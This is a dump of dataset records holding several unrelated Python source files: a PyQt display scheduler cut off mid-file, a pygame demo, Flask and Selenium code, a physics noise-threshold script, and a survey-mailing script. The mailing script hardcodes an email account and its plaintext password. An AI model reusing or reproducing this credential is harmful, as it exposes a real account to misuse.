ip_sb).json()[1]['stop'].split(\":\")\n # dimanche\n self.sunday_start = req(\"get\", ip_sb).json()[2]['start'].split(\":\")\n self.sunday_stop = req(\"get\", ip_sb).json()[2]['stop'].split(\":\")\n except:\n print(\"cant fetch shutdown hours\")\n\n def screenBlanking(self):\n now = datetime.now()\n self.current_hour = now.strftime(\"%H\")\n self.current_minute = now.strftime(\"%M\")\n self.current_days = now.strftime(\"%A\")\n print(\"Il est \", self.current_hour, \":\", self.current_minute, self.current_days)\n try:\n print(\"La veille est prévue entre \", self.week_start[0], \":\", self.week_start[1], \" et \", self.week_stop[0],\n \":\", self.week_stop[1])\n\n if (self.current_days == \"Sunday\"):\n\n self.display(\"on\") if ((\n self.sunday_start[0] < self.current_hour or self.sunday_start[0] == self.current_hour and\n self.sunday_start[1] <= self.current_minute)) else self.display(\"off\")\n elif self.current_days == \"Saturday\":\n self.display(\"on\") if ((\n self.saturday_start[0] < self.current_hour or self.saturday_start[\n 0] == self.current_hour and\n self.saturday_start[1] <= self.current_minute) and self.saturday_stop[\n 0] > self.current_hour or\n self.saturday_start[0] == self.current_hour and\n self.saturday_stop[1] > self.current_minute) else self.display(\"off\")\n else:\n self.display(\"on\") if ((\n self.week_start[0] < self.current_hour or self.week_start[\n 0] == self.current_hour and\n self.week_start[1] <= self.current_minute) and self.week_stop[\n 0] > self.current_hour or\n self.week_start[0] == self.current_hour and\n self.week_stop[1] > self.current_minute) else self.display(\"off\")\n\n except:\n print('start and stop not init')\n\n def display(self, state):\n # print(\"PROCESS\", state)\n # subprocess.Popen([\"xset\", \"-d\", \":0\", \"dpms\", \"force\",\n # state], stdout=subprocess.PIPE)\n if state == \"on\" and self.veille == False:\n requests.put(ip_mode_put, data={'activeMode': self.modeBack})\n self.veille = True\n elif state == \"off\" and self.veille == True:\n requests.put(ip_mode_put, data={'activeMode': '0'})\n self.veille = False\n\n\nif __name__ == '__main__':\n mode = 3\n medias = []\n index = 3\n app = QtWidgets.QApplication(sys.argv)\n main = Main(mode)\n main.show()\n sys.exit(app.exec_())\n", "repo_name": "MatthieuDeroir/jde-qt", "sub_path": "main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 6538, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "PyQt5.QtWidgets.QMainWindow", "line_number": 13, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets", "line_number": 13, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.Qt.FramelessWindowHint", "line_number": 19, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 19, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.QTimer", "line_number": 36, "usage_type": "call"}, {"api_name": "Fullscreen.Ui_Fullscreen", "line_number": 53, "usage_type": "call"}, {"api_name": "Trucks.Ui_Truckscreen", "line_number": 60, "usage_type": "call"}, {"api_name": "Fullscreen.Ui_Fullscreen", "line_number": 66, "usage_type": "call"}, {"api_name": "Splitscreen.Ui_Splitscreen", "line_number": 69, "usage_type": "call"}, {"api_name": "Fullscreen.Ui_Fullscreen", "line_number": 72, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 107, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 107, "usage_type": "name"}, {"api_name": "requests.put", "line_number": 146, "usage_type": "call"}, {"api_name": "requests.put", "line_number": 149, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QApplication", "line_number": 157, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 157, "usage_type": "name"}, {"api_name": "sys.argv", "line_number": 157, "usage_type": "attribute"}, {"api_name": "sys.exit", "line_number": 160, "usage_type": "call"}]} +{"seq_id": "4331163621", "text": "#coding=utf-8\n\nimport pygame\n\npygame.init()\n\nourScreen = pygame.display.set_mode((400,300))\n\npygame.display.set_caption('파이게임')\n\nfinish = False\n\ncolorBlue = True\n\nx = 30\ny = 30\nclock = pygame.time.Clock()\n\n\nwhile not finish:\n for event in pygame.event.get():#발생한 이벤트 리스트\n if event.type == pygame.QUIT:\n finish = True\n\n if event.type == pygame.KEYDOWN and event.key == pygame.K_SPACE:\n colorBlue = not colorBlue\n\n pressed = pygame.key.get_pressed()\n\n if pressed[pygame.K_UP]: y -= 3\n if pressed[pygame.K_DOWN]: y += 3\n if pressed[pygame.K_LEFT]: x -= 3\n if pressed[pygame.K_RIGHT]: x += 3\n\n\n ourScreen.fill((0,0,0))\n\n\n if colorBlue: color = (0,128,255)\n else: color = (255,255,255)\n\n #draw할 대상스크린,color,rect\n pygame.draw.rect(ourScreen,color,pygame.Rect(x,y,60,60))\n\n\n # pygame.display.update()\n pygame.display.flip()\n clock.tick(60)", "repo_name": "qkrsogusl3/PygameTutorial", "sub_path": "Beginner/Tests/test.py", "file_name": "test.py", "file_ext": "py", "file_size_in_byte": 1000, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "16", "api": [{"api_name": "pygame.init", "line_number": 5, "usage_type": "call"}, {"api_name": "pygame.display.set_mode", "line_number": 7, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 7, "usage_type": "attribute"}, {"api_name": "pygame.display.set_caption", "line_number": 9, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 9, "usage_type": "attribute"}, {"api_name": "pygame.time.Clock", "line_number": 17, "usage_type": "call"}, {"api_name": "pygame.time", "line_number": 17, "usage_type": "attribute"}, {"api_name": "pygame.event.get", "line_number": 21, "usage_type": "call"}, {"api_name": "pygame.event", "line_number": 21, "usage_type": "attribute"}, {"api_name": "pygame.QUIT", "line_number": 22, "usage_type": "attribute"}, {"api_name": "pygame.KEYDOWN", "line_number": 25, "usage_type": "attribute"}, {"api_name": "pygame.K_SPACE", "line_number": 25, "usage_type": "attribute"}, {"api_name": "pygame.key.get_pressed", "line_number": 28, "usage_type": "call"}, {"api_name": "pygame.key", "line_number": 28, "usage_type": "attribute"}, {"api_name": "pygame.K_UP", "line_number": 30, "usage_type": "attribute"}, {"api_name": "pygame.K_DOWN", "line_number": 31, "usage_type": "attribute"}, {"api_name": "pygame.K_LEFT", "line_number": 32, "usage_type": "attribute"}, {"api_name": "pygame.K_RIGHT", "line_number": 33, "usage_type": "attribute"}, {"api_name": "pygame.draw.rect", "line_number": 43, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 43, "usage_type": "attribute"}, {"api_name": "pygame.Rect", "line_number": 43, "usage_type": "call"}, {"api_name": "pygame.display.flip", "line_number": 47, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 47, "usage_type": "attribute"}]} +{"seq_id": "35376362163", "text": "import wx\r\nfrom wx.stc import StyledTextCtrl as STC\r\n\r\ndef fuk_me_up(stc, start, end, text):\r\n stc.SetTargetStart(start)\r\n stc.SetTargetEnd(end)\r\n stc.ReplaceTarget(text)\r\n \r\n\r\napp = wx.App()\r\n\r\nframe = wx.Frame(None)\r\nstc = STC(frame)\r\n\r\nstc.ReplaceTarget('Some\\ninitial\\ntext')\r\nfuk_me_up(stc, 1, 0, 'more text') # Comment out this line\r\n\r\nframe.Show()\r\n\r\napp.MainLoop()\r\n", "repo_name": "wxWidgets/trac-attachments", "sub_path": "ticket/d29/d2921f82bee63fcb9d09dbb3b76f3db0070de2e5/4032acc1045cb69d083bf2d857280e6d44dcb996.py", "file_name": "4032acc1045cb69d083bf2d857280e6d44dcb996.py", "file_ext": "py", "file_size_in_byte": 386, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "16", "api": [{"api_name": "wx.App", "line_number": 10, "usage_type": "call"}, {"api_name": "wx.Frame", "line_number": 12, "usage_type": "call"}, {"api_name": "wx.stc.StyledTextCtrl", "line_number": 13, "usage_type": "call"}]} +{"seq_id": "3227470072", "text": "from flask import Flask\nfrom flask import jsonify\nfrom flask import render_template\nfrom flask import url_for\nfrom flask import send_from_directory\nfrom gpiozero import CPUTemperature\nimport Adafruit_DHT\nfrom datetime import datetime\nimport sys\nimport pandas as pd\n\napp = Flask(__name__)\napp.config['SEND_FILE_MAX_AGE_DEFAULT'] = 0\nDHT_SENSOR = Adafruit_DHT.DHT22\nDHT_PIN = 15\n# config the path for images\napp.config[\"CLIENT_IMAGES\"] = \"/home/pi/weather_app/templates/images\"\n\nwith app.test_request_context():\n url_for('static', filename='style.css')\n url_for('static', filename='app.js')\n\n@app.route('/api')\ndef api():\n try:\n humidity, temp = Adafruit_DHT.read_retry(DHT_SENSOR, DHT_PIN)\n cpu = CPUTemperature()\n return jsonify({\n \"temperature\": temp,\n \"humidity\": humidity,\n \"cpu_temp\": cpu.temperature\n })\n except TimeoutError:\n with open(\"logs/errors.txt\", 'w') as errors:\n print(str(datetime.now()) + \": Too many requests on the sensor\", file=errors)\n return jsonify({\n \"temperature\": \"invalid\",\n \"humidity\": \"invalid\",\n \"cpu_temp\": \"invalid\"\n })\n\n@app.route('/')\ndef home():\n logfile = \"/home/pi/weather_app/logs/log.csv\"\n df = pd.read_csv(logfile)\n return render_template('./home.html', labels=list(df['timestamp']), values=list(df['temperature']))\n", "repo_name": "tomover9000/weather_app", "sub_path": "server.py", "file_name": "server.py", "file_ext": "py", "file_size_in_byte": 1403, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "flask.Flask", "line_number": 12, "usage_type": "call"}, {"api_name": "Adafruit_DHT.DHT22", "line_number": 14, "usage_type": "attribute"}, {"api_name": "flask.url_for", "line_number": 20, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 21, "usage_type": "call"}, {"api_name": "Adafruit_DHT.read_retry", "line_number": 26, "usage_type": "call"}, {"api_name": "gpiozero.CPUTemperature", "line_number": 27, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 28, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 35, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 35, "usage_type": "name"}, {"api_name": "flask.jsonify", "line_number": 36, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 45, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 46, "usage_type": "call"}]} +{"seq_id": "16977884085", "text": "import concurrent.futures\nimport numpy as np\n\nfrom datetime import timedelta\nfrom functools import partial\nfrom multiprocessing import Process, Queue\nfrom multiprocessing.dummy import Pool\nfrom sys import argv\nfrom time import time\nfrom ROOT import TFile\n\n\nS_RUN = 'run26' if len(argv) < 2 else argv[1] # S_RUN is the first argument of the script, 'run26' if not given\nTREE_NAME = 'tree'\nN_ADC = 192 # the number of ADCs\nN_THREADS = 1 if len(argv) < 3 else int(argv[2]) # N_THREADS is the second argument, 1 if not given\nDEFAULT_THRESHOLD = 100 # a default noise threshold for the amplitude on an ADC\nDEFAULT_N_CUTOFF = 800 # a default number of hits detected on an ADC that would indicate that most of the hits at that amplitude are noise\nNOISE_SIGNAL_RATIO = 5 # the ratio of something deemed to be noise compared to a regular signal\nROLLING_AVG_OFFSET = 15 # how far ahead of the current point the algorithm looks to determine the signal strength\nROLLING_AVG_HALF_WIDTH = 5 # how many points ahead of and behind the avg center point to use to calculate the rolling avg\n\nq = Queue() # stores the return data from the count function\n\n# open file and get tree\nfile = TFile(f'./data/{S_RUN}.root')\nt = file.Get(TREE_NAME)\nn_entries = t.GetEntriesFast()\nfile.Close()\n\n\"\"\"\nA function to follow the status of program execution, gives: elapsed time, estimate of remaining time, number of events evaluated up to that point\n\"\"\"\ndef print_time(start_time, step, total):\n elapsed_time = round(time() - start_time)\n percentage = step/total\n remaining_time = 0\n if percentage != 0:\n remaining_time = round(elapsed_time * (1-percentage)/percentage)\n remaining_time = timedelta(0, remaining_time)\n elapsed_time = timedelta(0, elapsed_time)\n print(f\"{percentage*100:.1f}%, elapsed {elapsed_time}, remaining {remaining_time}, event {step} out of {total}\")\n\n\n\n\"\"\"\nGiven the start and end point of the data, returns the amplitudes of all the recorded events per ADC\n\"\"\"\ndef count(start, end):\n # loads the raw data root file in once per thread\n # some systems may experience RAM issues when trying to run too many threads\n root_file = TFile(f'./data/{S_RUN}.root')\n tree = root_file.Get(TREE_NAME)\n\n arr = [ [] for i in range(N_ADC) ]\n for ind in range(start, end):\n if start == 0 and ind % 10000 == 0:\n print_time(start_time, ind*N_THREADS, n_entries)\n\n tree.GetEntry(ind)\n\n for j in range(tree.wm):\n arr[tree.wadc[j] - 1].append(tree.wampl[j])\n\n root_file.Close()\n\n # stores the data in a global variable which is later used to merge the data\n # it would be better practice for q to be an argument of the count function instead of a global variable\n q.put(arr)\n\n\n\"\"\"\nTakes a tuple of the number of the ADC and an array of all the amplitudes measured on that ADC\nand uses a simple algorithm to calculate the appropriate noise threshold for that ADC\n\"\"\"\ndef get_threshold(pack):\n i, out_data = pack\n ampl_count = {}\n for data_point in out_data:\n if data_point not in ampl_count.keys():\n ampl_count[data_point] = 0\n\n ampl_count[data_point] += 1\n\n ### for testing purposes only - slows the script down a lot ###\n # with open(f'adc/{S_RUN}_{i+1}.txt', 'w') as f:\n # for key in sorted(ampl_count.keys()):\n # f.write(f'{key}: {ampl_count[key]}\\n')\n\n # f.close()\n\n ks, vs = list(ampl_count.keys()), list(ampl_count.values())\n k_max = ks[vs.index(max(vs))]\n\n avg = lambda l: sum(l)/len(l)\n\n if ampl_count[k_max] >= DEFAULT_N_CUTOFF:\n for k in range(k_max, len(ks)-10):\n k_start = k + ROLLING_AVG_OFFSET - ROLLING_AVG_HALF_WIDTH\n k_end = k + ROLLING_AVG_OFFSET + ROLLING_AVG_HALF_WIDTH\n a = [ ampl_count[key] for key in range(k_start, k_end) ]\n if ampl_count[k] < DEFAULT_N_CUTOFF and ampl_count[k]/avg(a) <= NOISE_SIGNAL_RATIO:\n return k\n return DEFAULT_THRESHOLD\n\n\nif __name__ == '__main__':\n # execute the count function on all the data, split into N_THREADS threads\n print(f'Counting amplitudes on {N_THREADS} threads...')\n start_time = time()\n\n ps = []\n for i in range(N_THREADS):\n time1 = time()\n print(f'Starting thread {i+1}')\n\n # every process does 1//N_THREADS of the calculations\n p = Process(target=count, args=(n_entries*i//N_THREADS, n_entries*(i+1)//N_THREADS))\n p.start()\n ps.append(p)\n\n print(f'Thread {i+1} started in {timedelta(0, time() - time1)}')\n\n ampls = [ [] for i in range(N_ADC) ]\n # get all the return values from the count functions and merge the data\n for _ in range(N_THREADS):\n ret = q.get()\n for i in range(N_ADC):\n ampls[i].extend(ret[i])\n\n # wait for all the processes to finish\n for p in ps:\n p.join()\n\n print(f'Amplitudes counted successfully in {timedelta(0, time() - start_time)}')\n\n # calculate the noise thresholds based on the amplitude data\n\n thresholds = []\n print('Calculating thresholds...')\n time1 = time()\n\n pool = Pool(N_THREADS)\n thresholds = pool.map(get_threshold, enumerate(ampls))\n\n print(f'Thresholds calculated successfully in {timedelta(0, time() - time1)}')\n\n # outputs the calculated thresholds to a file to be used for noise filtering\n print('Writing thresholds...')\n time1 = time()\n with open(f'./thresholds/noise_thresholds_{S_RUN}', 'w') as f:\n for i, t in enumerate(thresholds):\n f.write(f'{i+1}: {t}\\n')\n\n print(f'Thresholds written successfully in {timedelta(0, time() - time1)}')\n", "repo_name": "NoaVidovic/bebe-analysis", "sub_path": "noise_threshold_setter.py", "file_name": "noise_threshold_setter.py", "file_ext": "py", "file_size_in_byte": 5650, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "sys.argv", "line_number": 13, "usage_type": "argument"}, {"api_name": "sys.argv", "line_number": 16, "usage_type": "argument"}, {"api_name": "multiprocessing.Queue", "line_number": 23, "usage_type": "call"}, {"api_name": "ROOT.TFile", "line_number": 26, "usage_type": "call"}, {"api_name": "time.time", "line_number": 35, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 40, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 41, "usage_type": "call"}, {"api_name": "ROOT.TFile", "line_number": 52, "usage_type": "call"}, {"api_name": "time.time", "line_number": 110, "usage_type": "call"}, {"api_name": "time.time", "line_number": 114, "usage_type": "call"}, {"api_name": "multiprocessing.Process", "line_number": 118, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 122, "usage_type": "call"}, {"api_name": "time.time", "line_number": 122, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 135, "usage_type": "call"}, {"api_name": "time.time", "line_number": 135, "usage_type": "call"}, {"api_name": "time.time", "line_number": 141, "usage_type": "call"}, {"api_name": "multiprocessing.dummy.Pool", "line_number": 143, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 146, "usage_type": "call"}, {"api_name": "time.time", "line_number": 146, "usage_type": "call"}, {"api_name": "time.time", "line_number": 150, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 155, "usage_type": "call"}, {"api_name": "time.time", "line_number": 155, "usage_type": "call"}]} +{"seq_id": "36873123987", "text": "\nimport unittest\nfrom unittest.mock import patch\nfrom selenium import webdriver\nfrom webdriver_manager.chrome import ChromeDriverManager\nfrom selenium.webdriver.chrome.options import Options\nfrom selenium.webdriver.common.by import By\nimport requests\nimport time\nimport ofsted_scraper\nimport config\nimport sys\nimport logging\nimport os\n\n\nclass Test_Scraper(unittest.TestCase):\n def setUp(self):\n if not sys.warnoptions:\n import warnings\n warnings.simplefilter(\"ignore\")\n logging.getLogger('WDM').setLevel(logging.NOTSET)\n os.environ['WDM_LOG'] = \"false\"\n \n chrome_options = Options()\n chrome_options.add_argument(\"--disable-gpu\")\n chrome_options.add_argument('--headless')\n chrome_options.add_argument('--no-sandbox')\n chrome_options.add_argument('--disable-dev-shm-usage')\n chrome_options.add_argument('--window-size=1920,1080')\n chrome_options.add_argument('--remote-debugging-port=9222')\n #self.driver = webdriver.Chrome(options=chrome_options) (for local run)\n #self.driver = webdriver.Remote(command_executor='http://localhost:4444/wd/hub', options=chrome_options) \n self.driver = webdriver.Chrome(ChromeDriverManager().install(), options=chrome_options)\n self.test_scraper=ofsted_scraper.ofsted_scraper()\n try: \n accept_cookies_button = self.driver.find_element(By.XPATH, config.XPATH_COOKIE)\n accept_cookies_button.click()\n time.sleep(3)\n except:\n pass\n\n \n def test_main_page(self):\n \"\"\"\n Test if the main URL returns required page\n \"\"\"\n URL=\"https://reports.ofsted.gov.uk/\"\n self.driver.get(URL)\n time.sleep(2)\n assert \"Find an Ofsted inspection report\" in self.driver.title\n \n def test_xpaths_click(self):\n \"\"\"\n Test if the saved xpaths for click options are still valid \n \"\"\"\n URL=\"https://reports.ofsted.gov.uk/\"\n driver=self.driver\n driver.get(URL)\n for i in [config.XPATH_COOKIE, \n config.XPATH_ED_TR, \n config.XPATH_CH_ED, \n config.XPATH_SUBMIT, \n config.XPATH_NEXTPAGE]:\n driver.find_element(By.XPATH, i).click()\n time.sleep(2)\n new_url=driver.current_url\n \n with requests.Session() as s:\n response = s.get(new_url)\n assert response.status_code == 200\n \n \n @patch('builtins.input', return_value=1) \n def test_get_1st_input1(self, mock_input):\n \"\"\"Test when input is 1st category\"\"\"\n self.test_scraper.get_1st_input()\n self.assertTrue(self.test_scraper.category == 1)\n\n @patch('builtins.input', return_value=2)\n def test_get_1st_input2(self, mock_input):\n \"\"\"Test when input is 2nd category\"\"\"\n self.test_scraper.get_1st_input()\n self.assertTrue(self.test_scraper.category == 2)\n\n #@patch('builtins.input', return_value=3)\n #def test_get_1st_inputNo(self, mock_input):\n # \"\"\"Test when input is wrong, not 1 or 2\"\"\"\n # with unittest.mock.patch('sys.stdout', new_callable=io.StringIO) as mock_stdout:\n # self.test_scraper.get_1st_input()\n # self.assertEqual(mock_stdout.getvalue(), \"You must choose either 1 or 2\\n\")\n \n\n\n @patch('builtins.input', return_value=1)\n def test_get_2nd_input1(self, mock_input):\n \"\"\"Test when input is 1st category\"\"\"\n self.test_scraper.category=1\n self.test_scraper.get_2nd_input()\n self.assertTrue(self.test_scraper.age == 1)\n\n @patch('builtins.input', return_value=2)\n def test_get_2nd_input2(self, mock_input):\n \"\"\"Test when input is 2nd category\"\"\"\n self.test_scraper.category=1\n self.test_scraper.get_2nd_input()\n self.assertTrue(self.test_scraper.age == 2)\n\n \n def tearDown(self):\n self.driver.close()\n\n\nif __name__ == \"__main__\":\n unittest.main(argv=['first-arg-is-ignored'], exit=False)\n suite = unittest.TestLoader().loadTestsFromTestCase(Test_Scraper)\n unittest.TextTestRunner(verbosity=2).run(suite)\n\n", "repo_name": "IrinaKW/DataPipeline", "sub_path": "scraper/test_module.py", "file_name": "test_module.py", "file_ext": "py", "file_size_in_byte": 4193, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "unittest.TestCase", "line_number": 17, "usage_type": "attribute"}, {"api_name": "sys.warnoptions", "line_number": 19, "usage_type": "attribute"}, {"api_name": "warnings.simplefilter", "line_number": 21, "usage_type": "call"}, {"api_name": "logging.getLogger", "line_number": 22, "usage_type": "call"}, {"api_name": "logging.NOTSET", "line_number": 22, "usage_type": "attribute"}, {"api_name": "os.environ", "line_number": 23, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.chrome.options.Options", "line_number": 25, "usage_type": "call"}, {"api_name": "selenium.webdriver.Chrome", "line_number": 34, "usage_type": "call"}, {"api_name": "selenium.webdriver", "line_number": 34, "usage_type": "name"}, {"api_name": "webdriver_manager.chrome.ChromeDriverManager", "line_number": 34, "usage_type": "call"}, {"api_name": "ofsted_scraper.ofsted_scraper", "line_number": 35, "usage_type": "call"}, {"api_name": "selenium.webdriver.common.by.By.XPATH", "line_number": 37, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 37, "usage_type": "name"}, {"api_name": "config.XPATH_COOKIE", "line_number": 37, "usage_type": "attribute"}, {"api_name": "time.sleep", "line_number": 39, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 50, "usage_type": "call"}, {"api_name": "config.XPATH_COOKIE", "line_number": 60, "usage_type": "attribute"}, {"api_name": "config.XPATH_ED_TR", "line_number": 61, "usage_type": "attribute"}, {"api_name": "config.XPATH_CH_ED", "line_number": 62, "usage_type": "attribute"}, {"api_name": "config.XPATH_SUBMIT", "line_number": 63, "usage_type": "attribute"}, {"api_name": "config.XPATH_NEXTPAGE", "line_number": 64, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By.XPATH", "line_number": 65, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 65, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 66, "usage_type": "call"}, {"api_name": "requests.Session", "line_number": 69, "usage_type": "call"}, {"api_name": "unittest.mock.patch", "line_number": 74, "usage_type": "call"}, {"api_name": "unittest.mock.patch", "line_number": 80, "usage_type": "call"}, {"api_name": "unittest.mock.patch", "line_number": 95, "usage_type": "call"}, {"api_name": "unittest.mock.patch", "line_number": 102, "usage_type": "call"}, {"api_name": "unittest.main", "line_number": 115, "usage_type": "call"}, {"api_name": "unittest.TestLoader", "line_number": 116, "usage_type": "call"}, {"api_name": "unittest.TextTestRunner", "line_number": 117, "usage_type": "call"}]} +{"seq_id": "70730894088", "text": "from api.services import user_service, auth_service\nfrom api.serializers.user_serializer import (\n UpdateUserSerializer,\n GetUserSerializer,\n UserSerializer\n)\nfrom api.policies import is_authed, is_admin\nfrom flask import jsonify, request\nfrom nails import Controller\nfrom playhouse.shortcuts import model_to_dict\n\nclass UserInstance(Controller):\n method_decorators = [is_authed]\n\n @is_admin\n def put(self):\n data, err = UpdateUserSerializer().load(request.json)\n user = user_service.update(data['id'], data)\n return jsonify(UserSerializer.load(model_to_dict(user))[0])\n\n def get(self):\n load_only = list()\n if not auth_service.has_admin_role():\n load_only.append('email')\n data, err = GetUserSerializer(load_only=load_only).load(request.args.to_dict())\n user = user_service.find_one(data)\n return jsonify(UserSerializer().load(model_to_dict(user))[0])\n\nclass UserList(Controller):\n method_decorators = [is_authed]\n\n def get(self):\n load_only = list()\n if not auth_service.has_admin_role():\n load_only.append('email')\n users = user_service.find();\n return jsonify(UserSerializer(many=True, load_only=load_only).dump(users)[0])\n", "repo_name": "clayrisser/spotawesome", "sub_path": "backend/api/controllers/user_controller.py", "file_name": "user_controller.py", "file_ext": "py", "file_size_in_byte": 1260, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 3, "dataset": "github-code", "pt": "16", "api": [{"api_name": "nails.Controller", "line_number": 12, "usage_type": "name"}, {"api_name": "api.policies.is_authed", "line_number": 13, "usage_type": "name"}, {"api_name": "api.serializers.user_serializer.UpdateUserSerializer", "line_number": 17, "usage_type": "call"}, {"api_name": "flask.request.json", "line_number": 17, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 17, "usage_type": "name"}, {"api_name": "api.services.user_service.update", "line_number": 18, "usage_type": "call"}, {"api_name": "api.services.user_service", "line_number": 18, "usage_type": "name"}, {"api_name": "flask.jsonify", "line_number": 19, "usage_type": "call"}, {"api_name": "api.serializers.user_serializer.UserSerializer.load", "line_number": 19, "usage_type": "call"}, {"api_name": "api.serializers.user_serializer.UserSerializer", "line_number": 19, "usage_type": "name"}, {"api_name": "playhouse.shortcuts.model_to_dict", "line_number": 19, "usage_type": "call"}, {"api_name": "api.policies.is_admin", "line_number": 15, "usage_type": "name"}, {"api_name": "api.services.auth_service.has_admin_role", "line_number": 23, "usage_type": "call"}, {"api_name": "api.services.auth_service", "line_number": 23, "usage_type": "name"}, {"api_name": "api.serializers.user_serializer.GetUserSerializer", "line_number": 25, "usage_type": "call"}, {"api_name": "flask.request.args.to_dict", "line_number": 25, "usage_type": "call"}, {"api_name": "flask.request.args", "line_number": 25, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 25, "usage_type": "name"}, {"api_name": "api.services.user_service.find_one", "line_number": 26, "usage_type": "call"}, {"api_name": "api.services.user_service", "line_number": 26, "usage_type": "name"}, {"api_name": "flask.jsonify", "line_number": 27, "usage_type": "call"}, {"api_name": "api.serializers.user_serializer.UserSerializer", "line_number": 27, "usage_type": "call"}, {"api_name": "playhouse.shortcuts.model_to_dict", "line_number": 27, "usage_type": "call"}, {"api_name": "nails.Controller", "line_number": 29, "usage_type": "name"}, {"api_name": "api.policies.is_authed", "line_number": 30, "usage_type": "name"}, {"api_name": "api.services.auth_service.has_admin_role", "line_number": 34, "usage_type": "call"}, {"api_name": "api.services.auth_service", "line_number": 34, "usage_type": "name"}, {"api_name": "api.services.user_service.find", "line_number": 36, "usage_type": "call"}, {"api_name": "api.services.user_service", "line_number": 36, "usage_type": "name"}, {"api_name": "flask.jsonify", "line_number": 37, "usage_type": "call"}, {"api_name": "api.serializers.user_serializer.UserSerializer", "line_number": 37, "usage_type": "call"}]} +{"seq_id": "18796835086", "text": "\nfrom __future__ import print_function\nfrom googleapiclient.discovery import build\nfrom httplib2 import Http\nfrom oauth2client import file, client, tools\nimport smtplib\nfrom email.mime.text import MIMEText\nfrom time import gmtime, strftime, localtime, sleep\nimport random\n\n# If modifying these scopes, delete the file token.json.\nSCOPES = 'https://www.googleapis.com/auth/spreadsheets.readonly'\n\n# The ID and range of a sample spreadsheet.\nSPREADSHEET_ID = '1xtfkX5h9vFIx2XwVvVxIIENpBgKUapkavCO6h99aCKE'\nRANGE_NAME = 'Schedule!A2:B'\n\n\n#emails = [\"kpark21@student.kis.or.kr\"]\nmail_user = \"schedulebot@student.kis.or.kr\"\npassword = \"distcodegwlm\"\nprint(\"started\")\nisSent = True\nmsg = \"test\"\nstudent = 0\nformResponses = 'tempProj!A2:C'\ndef main(dayName):\n \"\"\"Shows basic usage of the Sheets API.\n Prints values from a sample spreadsheet.\n \"\"\"\n # The file token.json stores the user's access and refresh tokens, and is\n # created automatically when the authorization flow completes for the first\n # time.\n store = file.Storage('token.json')\n creds = store.get()\n if not creds or creds.invalid:\n flow = client.flow_from_clientsecrets('credentials.json', SCOPES)\n creds = tools.run_flow(flow, store)\n service = build('sheets', 'v4', http=creds.authorize(Http()))\n\n # Call the Sheets API\n sheet = service.spreadsheets()\n result = sheet.values().get(spreadsheetId=SPREADSHEET_ID, range=formResponses).execute()\n values = result.get('values',[])\n \n for email in values:\n ranNum = random.randint(100000,999999)\n rec_email = email[1]\n ranNum = email[2]\n server = smtplib.SMTP(\"smtp.googlemail.com:587\")\n server.ehlo() \n server.starttls()\n server.login(mail_user, password)\n text = MIMEText(\"Dear \"+email[0]+\",\\n\\n\"+\"Thank you for your interest in participating in this survey. Your participation is greatly appreciated.\" +\"\\n\\n\"+\"If you are under the age of 18, please have your parents sign this(https://docs.google.com/document/d/1bRGbqTWUNcw_ZfQ2zGk-oevF01M2YZaqFquieDL-Iu0/edit) consent letter and email schoe21@student.kis.or.kr before completing the survey. There is more important information in the form, so please read the form even if you do not have to fill one out. Completion of this form means you are agreeing to having your data be used in this study, which includes the survey data and your GPA. However, the researcher will not know your GPA. This form is not required if you are 18 or above (Korean or American Age).\"+\"\\n\\n\"+\"Your ID Number is (\"+str(ranNum)+\"). Please complete the form with this ID Number. \" +\"\\n\\n\"+\"Please complete the form and survey as soon as possible.\"+\"\\n\\n\"+\"Thank you.\"+\"\\n\\n\\n\"+\"Powered by an unpaid Kevin Park\")\n text['Subject'] = \"Survey\"\n text['To'] = rec_email\n text['From'] = mail_user\n server.sendmail(mail_user,rec_email,text.as_string())\n \n server.quit()\n sleep(1)\n\n #print(\"sent\")\n\n\n \n \n\"\"\" \ndef whatDayIsIt():\n \n store = file.Storage('token.json')\n creds = store.get()\n if not creds or creds.invalid:\n flow = client.flow_from_clientsecrets('credentials.json', SCOPES)\n creds = tools.run_flow(flow, store)\n service = build('sheets', 